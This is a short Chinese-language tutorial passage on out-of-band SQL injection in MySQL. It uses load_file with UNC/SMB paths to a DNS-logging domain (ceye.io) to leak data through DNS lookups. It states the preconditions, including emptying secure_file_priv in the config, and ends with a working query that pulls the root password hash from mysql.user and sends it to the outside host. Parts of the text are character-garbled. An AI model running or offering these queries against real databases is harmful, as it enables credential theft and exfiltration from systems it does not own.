这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,因为计算机对该域名不熟悉因此须要优先请求DNS,因此咱们经过DNS日志记录中的内容来获取回显。解决了盲注回显的问题,或者是时间注入判断的问题。
熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件python
# 条件1 + 一、因为基于SMB请求,须要在Windows环境下 # 条件2 + 二、须要MySQL的配置支持,主要是这个配置须要为空 secure_file_priv
show global variables like '%secure%';
这里知足要求,若是不知足,能够在my.ini或者my.cnf等mysql服务的配置文件中修改[mysqld]项,须要加上以下这行:mysql
secure_file_priv =
select load_file('\\\\root.xxxxxx.ceye.io\\abc');
select concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234')
select load_file(concat("\\\\",SUBSTR((select password from mysql.user where user='root' limit 1),2),'.xxxxxx.ceye.io\\1234'));